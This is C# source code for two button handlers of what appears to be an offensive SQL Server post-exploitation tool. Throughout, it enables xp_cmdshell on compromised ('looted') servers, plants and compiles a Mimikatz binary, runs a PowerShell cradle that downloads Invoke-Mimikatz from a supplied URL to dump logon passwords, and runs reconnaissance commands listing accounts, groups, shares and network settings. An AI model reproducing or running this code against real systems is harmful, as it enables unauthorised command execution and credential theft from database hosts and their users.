private void btnRun_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { if (rdLocal.IsChecked == true) { var savedFileNAme = string.Empty; var mimiBinary = File.ReadAllBytes(@"Scanner\Mimikatz\1.txt"); try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.CreateBinaryTable(); txtStatus.AppendText(_postExploitation.ExploitResult); _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.BinaryData = mimiBinary; _postExploitation.InsertBinaryData(); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } try { _postExploitation.ExploitCode = string.Empty; var rnd = new Random(); var chr = "0123456789ABCDEFGHIJKLMNOPRSTUVWXYZ".ToCharArray(); var randomFileName = string.Empty; for (int i = 0; i < 12; i++) { randomFileName += chr[rnd.Next(0, chr.Length - 1)].ToString(); } var extension = "txt"; _postExploitation.ExploitCode += "DECLARE @cmd VARCHAR(8000);"; _postExploitation.ExploitCode += "SET @cmd = 'bcp.exe \"SELECT CAST(binaryTable AS VARCHAR(MAX)) FROM WarSQLiTemp\" queryout \"C:\\Users\\MSSQLSERVER\\" + randomFileName + "." + extension + "\" -c -T';"; _postExploitation.ExploitCode += "EXEC xp_cmdshell @cmd;"; Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult); txtStatus.AppendText("File Saved: C:\\Users\\MSSQLSERVER\\" + randomFileName + "." + extension); savedFileNAme = "C:\\Users\\MSSQLSERVER\\" + randomFileName + "." + extension; }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.RemoveTempTable(); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.ExploitCode = string.Empty; _postExploitation.ExploitCode += "EXEC xp_cmdshell 'C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:C:\\Users\\MSSQLSERVER\\eyup.exe " + savedFileNAme + "';"; _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult); }); Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.ExploitCode = string.Empty; _postExploitation.ExploitCode += "EXEC xp_cmdshell 'cmd.exe /c C:\\Users\\MSSQLSERVER\\eyup.exe';"; _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); var sendMimiText = "IEX (New-Object Net.WebClient).DownloadString('" + txtUrl.Text + "'); Invoke-Mimikatz -Command \"privilege::debug sekurlsa::logonPasswords exit\""; var psBs64 = EncodeBase64.ConvertTextToBase64(sendMimiText); _postExploitation.ExploitCode = string.Empty; _postExploitation.ExploitCode += "EXEC xp_cmdshell '" + psBs64 + "';"; _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } } }
private void btnGet_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } } catch (Exception) { txtStatus.AppendText(enableXpCmdShell.CmdException); } } if (isExecuted == true && isActivated == true) { if (cmbInfo.SelectedIndex == 0) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "systeminfo"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i].Replace(" ", "")); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } if (cmbInfo.SelectedIndex == 1) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic nicconfig get MACAddress, IPAddress"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i].Replace(" ", "").Replace(" ", "").Replace(" ", "").Replace(" ", "").Replace("\r", "").Replace("\n", "")); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } if (cmbInfo.SelectedIndex == 2) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic desktop get Name, ScreenSaverExecutable, ScreenSaverActive, Wallpaper /format:list"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i].Replace(" ", "")); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } if (cmbInfo.SelectedIndex == 3) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic sysaccount get Caption, Domain, Name, SID, SIDType, Status"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i].Replace(" ", "")); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } if (cmbInfo.SelectedIndex == 4) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i].Replace(" ", "")); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } if (cmbInfo.SelectedIndex == 5) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic share get name, path, status"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i].Replace(" ", "").Replace("\r", "").Replace("\n", "")); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } } }